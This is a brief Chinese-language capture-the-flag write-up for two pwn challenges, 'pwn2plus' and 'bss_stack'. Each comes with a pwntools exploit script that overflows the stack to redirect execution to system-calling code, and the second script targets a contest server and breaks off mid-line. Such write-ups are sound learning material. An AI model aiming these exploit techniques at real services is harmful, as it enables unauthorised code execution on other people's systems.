pwn2plus
直接栈溢出覆盖调用callsystem函数。
exp
from pwn import *
#p = remote("47.100.40.190" , 10007)
p=process("./pwn2")
elf = ELF("./pwn2")
callsystem=0x400596
pay = "a"*0x80+"a"*8
pay +=p64(callsystem)+p64(0xbeeeffff)
p.recvuntil("Hello, World")
p.sendline(pay)
p.interactive()
bss_stack
题目提示,bin/sh要写入,然后调用system函数,思路就是先输入"/bin/sh"让程序if判断为真,然后利用fgets函数栈溢出覆盖调用system。
exp
from pwn import *
p = remote("47.100.40.190" , 10011)
#p=process("./pwn3")
elf = ELF(